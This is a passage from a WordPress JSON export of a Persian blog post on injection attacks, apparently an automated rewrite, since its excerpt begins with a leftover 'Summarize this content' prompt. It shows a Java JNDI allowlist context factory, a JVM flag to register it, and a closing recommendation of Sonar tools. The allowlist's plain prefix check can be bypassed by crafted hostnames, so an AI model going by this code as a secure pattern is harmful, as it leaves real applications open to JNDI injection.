class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0627\u06af\u0631 \u0647\u0645\u0686\u0646\u0627\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 JNDI \u062f\u0627\u0631\u06cc\u062f\u060c \u06cc\u06a9 \u0641\u0631\u0622\u06cc\u0646\u062f \u0636\u062f\u0639\u0641\u0648\u0646\u06cc \u0645\u0639\u0645\u0648\u0644 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u0645\u0642\u0635\u062f \u062f\u0631 \u0644\u06cc\u0633\u062a \u0645\u0642\u0635\u062f\u0647\u0627\u06cc \u0645\u062c\u0627\u0632\u060c \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0645\u062e\u0631\u0628 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code><span class=\"kd\">public<\/span> <span class=\"kd\">class<\/span> <span class=\"nc\">AllowedlistJndiContextFactory<\/span> <span class=\"kd\">implements<\/span> <span class=\"nc\">InitialContextFactory<\/span> <span class=\"o\">{<\/span>\n   <span class=\"c1\">\/\/ Define your list of allowed JNDI URLs<\/span>\n   <span class=\"kd\">private<\/span> <span class=\"kd\">static<\/span> <span class=\"kd\">final<\/span> <span class=\"nc\">List<\/span> <span class=\"no\">ALLOWED_JNDI_PREFIXES<\/span> <span class=\"o\">=<\/span> <span class=\"nc\">Arrays<\/span><span class=\"o\">.<\/span><span class=\"na\">asList<\/span><span class=\"o\">(<\/span>\n       <span class=\"s\">\"ldap:\/\/trusted-server.com\"<\/span><span class=\"o\">,<\/span>\n       <span class=\"s\">\"ldaps:\/\/secure-server.com\"<\/span>\n   <span class=\"o\">);<\/span>\n\n   <span class=\"nd\">@Override<\/span>\n   <span class=\"kd\">public<\/span> <span class=\"nc\">Context<\/span> <span class=\"nf\">getInitialContext<\/span><span class=\"o\">(<\/span><span class=\"nc\">Hashtable<\/span> <span class=\"n\">environment<\/span><span class=\"o\">)<\/span> <span class=\"kd\">throws<\/span> <span class=\"nc\">NamingException<\/span> <span class=\"o\">{<\/span>\n       <span class=\"nc\">String<\/span> <span class=\"n\">providerUrl<\/span> <span class=\"o\">=<\/span> <span class=\"o\">(<\/span><span class=\"nc\">String<\/span><span class=\"o\">)<\/span> <span class=\"n\">environment<\/span><span class=\"o\">.<\/span><span class=\"na\">get<\/span><span class=\"o\">(<\/span><span class=\"nc\">Context<\/span><span class=\"o\">.<\/span><span class=\"na\">PROVIDER_URL<\/span><span class=\"o\">);<\/span>\n\n       <span class=\"k\">if<\/span> <span class=\"o\">(<\/span><span class=\"n\">isAllowed<\/span><span class=\"o\">(<\/span><span class=\"n\">providerUrl<\/span><span class=\"o\">))<\/span> <span class=\"o\">{<\/span>\n           <span class=\"k\">return<\/span> <span class=\"k\">new<\/span> <span class=\"nf\">InitialContext<\/span><span class=\"o\">(<\/span><span class=\"n\">environment<\/span><span class=\"o\">);<\/span> \n       <span class=\"o\">}<\/span> <span class=\"k\">else<\/span> <span class=\"o\">{<\/span>\n           <span class=\"k\">throw<\/span> <span class=\"k\">new<\/span> <span class=\"nf\">NamingException<\/span><span class=\"o\">(<\/span><span class=\"s\">\"JNDI lookup \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">providerUrl<\/span> <span class=\"o\">+<\/span> <span class=\"s\">\" not allowed\"<\/span><span class=\"o\">);<\/span>\n       <span class=\"o\">}<\/span>\n   <span class=\"o\">}<\/span>\n\n   <span class=\"kd\">private<\/span> <span class=\"kt\">boolean<\/span> <span class=\"nf\">isAllowed<\/span><span class=\"o\">(<\/span><span class=\"nc\">String<\/span> <span class=\"n\">url<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n       <span class=\"k\">if<\/span> <span class=\"o\">(<\/span><span class=\"n\">url<\/span> <span class=\"o\">==<\/span> <span class=\"kc\">null<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n           <span class=\"k\">return<\/span> <span class=\"kc\">false<\/span><span class=\"o\">;<\/span>\n       <span class=\"o\">}<\/span>\n       <span class=\"k\">for<\/span> <span class=\"o\">(<\/span><span class=\"nc\">String<\/span> <span class=\"n\">allowedPrefix<\/span> <span class=\"o\">:<\/span> <span class=\"no\">ALLOWED_JNDI_PREFIXES<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n           <span class=\"k\">if<\/span> <span class=\"o\">(<\/span><span class=\"n\">url<\/span><span class=\"o\">.<\/span><span class=\"na\">startsWith<\/span><span class=\"o\">(<\/span><span class=\"n\">allowedPrefix<\/span><span class=\"o\">))<\/span> <span class=\"o\">{<\/span>\n               <span class=\"k\">return<\/span> <span class=\"kc\">true<\/span><span class=\"o\">;<\/span>\n           <span class=\"o\">}<\/span>\n       <span class=\"o\">}<\/span>\n       <span class=\"k\">return<\/span> <span class=\"kc\">false<\/span><span class=\"o\">;<\/span>\n   <span class=\"o\">}<\/span>\n<span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0648 \u0633\u06cc\u0633\u062a\u0645 \u0645\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u0627\u0631\u062e\u0627\u0646\u0647 \u0632\u0645\u06cc\u0646\u0647 \u0641\u06cc\u0644\u062a\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u06a9\u0646\u06cc\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight shell\"><code><span class=\"nt\">-Djava<\/span>.naming.factory.initial<span class=\"o\">=<\/span>com.yourpackage.AllowedlistJndiContextFactory\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0642\u0648\u0627\u0646\u06cc\u0646 SonarCloud\/SonarQube \u0648 SonarLint \u06a9\u0647 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 \u0648\u0631\u0648\u062f \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D9%86%D8%AA%DB%8C%D8%AC%D9%87_%DA%AF%DB%8C%D8%B1%DB%8C\"><\/span>\n<p>  \u0646\u062a\u06cc\u062c\u0647 \u06af\u06cc\u0631\u06cc<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0641\u0642\u0637 \u0646\u06af\u0631\u0627\u0646\u06cc\u200c\u0647\u0627\u06cc \u062a\u0626\u0648\u0631\u06cc \u0646\u06cc\u0633\u062a\u0646\u062f\u060c \u0628\u0644\u06a9\u0647 \u062a\u0647\u062f\u06cc\u062f\u0647\u0627\u06cc \u0648\u0627\u0642\u0639\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0642\u0628\u0644\u0627\u064b \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u0632\u0631\u06af \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0622\u0633\u06cc\u0628 \u0645\u0627\u0644\u06cc \u0648 \u0627\u0639\u062a\u0628\u0627\u0631 \u0642\u0627\u0628\u0644 \u062a\u0648\u062c\u0647\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a.<\/p>\n<p>\u0627\u0632 \u062a\u0632\u0631\u06cc\u0642\u200c\u0647\u0627\u06cc SQL \u06af\u0631\u0641\u062a\u0647 \u062a\u0627 \u062a\u0632\u0631\u06cc\u0642\u200c\u0647\u0627\u06cc Deserialization \u0648 Logging\u060c \u0627\u06cc\u0646 \u0628\u0631\u062f\u0627\u0631\u0647\u0627\u06cc \u062d\u0645\u0644\u0647 \u0631\u0627\u06cc\u062c \u0647\u0633\u062a\u0646\u062f \u0648 \u0627\u06af\u0631 \u0628\u0647 \u062f\u0631\u0633\u062a\u06cc \u0645\u0648\u0631\u062f \u062a\u0648\u062c\u0647 \u0642\u0631\u0627\u0631 \u0646\u06af\u06cc\u0631\u0646\u062f\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0627\u0632 \u06a9\u062f \u0646\u0627\u0627\u0645\u0646 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f.<\/p>\n<p>\u0628\u0627 \u062f\u0631\u06a9 \u0645\u0627\u0647\u06cc\u062a \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0648 \u0627\u062c\u0631\u0627\u06cc \u0627\u0635\u0644\u0627\u062d\u0627\u062a \u062a\u0648\u0635\u06cc\u0647\u200c\u0634\u062f\u0647\u060c \u0645\u0627\u0646\u0646\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u067e\u0631\u0633\u200c\u0648\u200c\u062c\u0648\u0647\u0627\u06cc \u067e\u0627\u0631\u0627\u0645\u062a\u0631\u06cc\u060c \u0627\u062c\u062a\u0646\u0627\u0628 \u0627\u0632 \u0634\u06cc\u0648\u0647\u200c\u0647\u0627\u06cc \u063a\u06cc\u0631\u0627\u06cc\u0645\u0646\u200c\u0632\u062f\u0627\u06cc\u06cc \u0648 \u0627\u06cc\u0645\u0646\u200c\u0633\u0627\u0632\u06cc \u0645\u0646\u0627\u0633\u0628 \u0686\u0627\u0631\u0686\u0648\u0628\u200c\u0647\u0627\u06cc \u06af\u0632\u0627\u0631\u0634\u200c\u06af\u06cc\u0631\u06cc\u060c \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u062e\u0637\u0631 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0631\u0627 \u0628\u0647 \u0645\u06cc\u0632\u0627\u0646 \u0642\u0627\u0628\u0644 \u062a\u0648\u062c\u0647\u06cc \u06a9\u0627\u0647\u0634 \u062f\u0647\u0646\u062f.<\/p>\n<p>\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc \u067e\u06cc\u0634\u06af\u06cc\u0631\u0627\u0646\u0647 \u0628\u0631\u0627\u06cc \u0645\u062d\u0627\u0641\u0638\u062a \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0634\u0645\u0627 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0646 \u0628\u0647 \u0642\u0631\u0628\u0627\u0646\u06cc \u0628\u0639\u062f\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0627\u06cc \u06af\u0633\u062a\u0631\u062f\u0647 \u0648 \u0645\u0636\u0631 \u0636\u0631\u0648\u0631\u06cc \u0627\u0633\u062a.<\/p>\n<p>Sonar \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0631\u0627\u06cc\u06af\u0627\u0646 \u0648 \u0645\u0646\u0628\u0639 \u0628\u0627\u0632 \u0645\u0627\u0646\u0646\u062f SonarLint\u060c SonarQube \u0648 SonarCloud \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u062a\u0645\u0627\u0645 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc\u060c \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0631\u0627\u0647\u200c\u062d\u0644\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u06a9\u0646\u0646\u062f.<\/p>\n<\/p><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Summarize this content to 400 words in Persian Lang \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f9\u060c \u06cc\u06a9 \u0631\u062e\u0646\u0647 \u0645\u0639\u0631\u0648\u0641 \u062f\u0631 \u0628\u0627\u0632\u06cc \u0645\u0639\u0631\u0648\u0641 Fortnite\u060c \u0645\u06cc\u0644\u06cc\u0648\u0646\u200c\u0647\u0627 \u0628\u0627\u0632\u06cc\u06a9\u0646 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f. \u0627\u06cc\u0646 \u062d\u0627\u062f\u062b\u0647 \u0627\u0647\u0645\u06cc\u062a \u0627\u06cc\u0645\u0646 \u0633\u0627\u0632\u06cc \u0635\u062d\u06cc\u062d \u067e\u0627\u06cc\u06af\u0627\u0647 \u0647\u0627\u06cc \u062f\u0627\u062f\u0647 SQL \u0631\u0627 \u0628\u0631\u062c\u0633\u062a\u0647 \u06a9\u0631\u062f. \u0627\u0645\u0627 \u0627\u06cc\u0646 \u06cc\u06a9 \u0645\u0648\u0636\u0648\u0639 \u0645\u0646\u0641\u0631\u062f \u0646\u06cc\u0633\u062a. \u062d\u0645\u0644\u0627\u062a \u0645\u062a\u0639\u062f\u062f\u06cc \u0634\u0627\u0645\u0644 \u062a\u0632\u0631\u06cc\u0642 SQL \u0631\u062e \u062f\u0627\u062f\u0647 \u0627\u0633\u062a\u060c &hellip;<\/p>\n","protected":false},"author":2,"featured_media":74976,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[339],"tags":[],"class_list":["post-74975","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dev"],"_links":{"self":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts\/74975","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/comments?post=74975"}],"version-history":[{"count":0,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts\/74975\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/media\/74976"}],"wp:attachment":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/media?parent=74975"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/categories?post=74975"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/tags?post=74975"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}